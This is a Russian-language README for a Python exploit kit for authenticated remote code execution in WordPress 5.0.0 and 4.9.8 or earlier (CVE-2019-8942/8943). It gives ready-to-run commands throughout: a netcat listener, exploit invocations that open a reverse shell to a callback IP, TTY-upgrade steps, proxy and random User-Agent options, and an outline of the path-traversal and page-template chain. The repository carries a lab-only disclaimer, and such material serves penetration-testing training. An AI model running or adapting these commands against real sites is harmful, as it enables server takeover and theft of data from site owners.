
Python-набор эксплойтов для WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943
Реализация на Python3 аутентифицированной эксплуатационной цепочки crop-image для WordPress. Репозиторий организован вокруг двух независимых рабочих процессов: ручного скрипта в стиле OSCP и полностью автоматизированного скрипта со встроенным обработчиком обратной оболочки.
Используйте это только в авторизованных лабораториях, CTF, обучающих платформах или системах, на которые у вас есть явное разрешение для тестирования.
Эксплуатационная цепочка нацелена на уязвимости, отслеживаемые как:
CVE-2019-8942CVE-2019-8943Публичный модуль Metasploit для этой уязвимости описывает затронутые версии следующим образом:
WordPress 5.0.0 and WordPress <= 4.9.8
Требуется действительная учётная запись WordPress с правами на загрузку/редактирование медиафайлов. Во многих лабораторных средах достаточно пользователя уровня Author.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg — это стандартный JPG-носитель, используемый скриптом в стиле OSCP. Он включён, чтобы ручной рабочий процесс работал «из коробки» без необходимости искать случайное изображение.
autoexploit.py является самодостаточным и содержит собственный шестнадцатеричный JPG-носитель внутри, но также может принимать пользовательский JPG с помощью -i.
python3 -m pip install -r requirements.txt
Единственный требуемый пакет Python:
requests
Если вам нужна поддержка SOCKS-прокси, установите requests с расширениями SOCKS в вашем окружении:
python3 -m pip install 'requests[socks]'
Оба скрипта являются независимыми. Ни один из них не импортирует код из другого.
exploit_oscp.py делает рабочий процесс явным. Он подготавливает носитель изображения, выполняет аутентифицированную эксплуатационную цепочку WordPress, подтверждает выполнение команд и запускает обратную оболочку на слушатель, который вы запустили вручную.
Он не запускает обработчик автоматически и не использует Metasploit, Meterpreter или msfvenom.
Сначала запустите свой слушатель:
nc -lvnp 443
Запустите эксплойт, используя стандартный image.jpg:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py создан для скорости. Он может работать только с учётными данными цели и попытается автоматически выбрать IP для обратного вызова и порт слушателя.
Он выполняет полный цикл эксплуатации, запускает локальный слушатель, пробует несколько стилей нагрузок обратной оболочки и открывает более чистую интерактивную консоль с цветными сообщениями о локальном статусе и тихой обработкой обновления TTY.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
HTTP-прокси через Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS-прокси:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
Пользовательский User-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
Случайный User-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
Это не обычная загрузка PHP. WordPress ожидает содержимое изображения, обрабатывает файл через редактор медиафайлов и создаёт обрезанное изображение. Затем эксплуатационная цепочка злоупотребляет метаданными вложений и обходом пути, чтобы поместить обрезанное изображение в каталог активной темы. Наконец, обрезанный файл указывается как шаблон страницы, поэтому WordPress включает его как PHP.
Случайный JPG с PHP, помещённым в хрупкие метаданные EXIF, может не сработать, потому что GD может удалить или перекодировать метаданные во время обработки обрезки. Этот репозиторий сохраняет рабочий процесс понятным:
exploit_oscp.py по умолчанию использует включённый image.jpg или пользовательское изображение, переданное через -i.autoexploit.py содержит внутренний шестнадцатеричный носитель, поэтому остаётся самодостаточным.async-upload.php._wp_attached_file для влияния на путь вывода обрезки._wp_page_template на имя обрезанного JPG.0.Проверьте, что версия WordPress уязвима, а учётная запись может загружать и редактировать медиафайлы.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
Проверьте IP обратного вызова и слушатель.
ip addr show tun0
nc -lvnp 443
Затем запустите скрипт OSCP снова с правильным --lhost.
Используйте опцию прокси явно:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Установите поддержку SOCKS:
python3 -m pip install 'requests[socks]'
Базовые обратные оболочки часто ограничены. Автоматизированный скрипт пытается обновить сессию автоматически. В режиме OSCP обновите её вручную после получения обратного вызова:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Нажмите Ctrl+Z локально, затем выполните:
stty raw -echo; fg
Внутри оболочки:
export TERM=xterm
exploit_oscp.py намеренно ручной:
autoexploit.py;LHOST и LPORT;Предполагаемый рабочий процесс:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
Исследование и цепочка уязвимостей были публично задокументированы оригинальными исследователями, а затем реализованы в публичных эксплуатационных фреймворках.
Реализация на Python и лабораторный рабочий процесс от SpeatX.
Этот репозиторий предоставлен для авторизованного тестирования безопасности, CTF, учебных лабораторий и образовательных исследований.
Не запускайте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
| Скрипт | Для чего лучше всего подходит | Работа с изображением | Работа с оболочкой |
|---|
exploit_oscp.py | Ручная эксплуатация в стиле OSCP | По умолчанию использует image.jpg или -i custom.jpg | Вы запускаете nc вручную |
autoexploit.py | Быстрое использование в лабораториях и повторное тестирование | По умолчанию использует встроенный шестнадцатеричный JPG или -i custom.jpg | Запускает слушатель, инициирует обратные вызовы и открывает интерактивную консоль |
| Параметр | Обязательный | По умолчанию | Описание |
|---|
-t, --target | Да | Нет | Базовый URL целевого WordPress, например http://target.local/ |
-u, --username | Да | Нет | Имя пользователя WordPress |
-p, --password | Да | Нет | Пароль WordPress |
-i, --image | Нет | image.jpg | JPG-носитель для подготовки и загрузки |
--lhost | Да | Нет | Ваш IP для обратного вызова, обычно ваш VPN/tun0 IP |
--lport | Да | Нет | Порт, на котором ожидает ваш ручной слушатель |
--proxy | Нет | Нет | URL прокси, например http://127.0.0.1:8080 или socks5://127.0.0.1:9050 |
--user-agent | Нет | Встроенный | Пользовательский заголовок User-Agent |
--random-user-agent | Нет | Отключено | Использовать случайный User-Agent, подобный браузерному |
--timeout | Нет | 20 | Тайм-аут HTTP в секундах |
--debug | Нет | Отключено | Выводить отладочную информацию HTTP и сохранять полезные ответы при ошибках |
| Параметр | Обязательный | По умолчанию | Описание |
|---|
-t, --target | Да | Нет | Базовый URL целевого WordPress |
-u, --username | Да | Нет | Имя пользователя WordPress |
-p, --password | Да | Нет | Пароль WordPress |
-i, --image | Нет | Встроенный шестнадцатеричный JPG | Дополнительный пользовательский JPG-носитель |
--lhost | Нет | Автоопределение | IP для обратного вызова, используемый обратной оболочкой |
--lport | Нет | Свободный локальный порт | Порт локального слушателя |
--listen-timeout | Нет | 12 | Секунд ожидания для каждой попытки обратной оболочки |
--proxy | Нет | Нет | URL прокси, например http://127.0.0.1:8080 или socks5://127.0.0.1:9050 |
--user-agent | Нет | Встроенный | Пользовательский заголовок User-Agent |
--random-user-agent | Нет | Отключено | Использовать случайный User-Agent, подобный браузерному |
--timeout | Нет | 20 | Тайм-аут HTTP в секундах |
--debug | Нет | Отключено | Выводить отладочную информацию HTTP и сохранять полезные ответы при ошибках |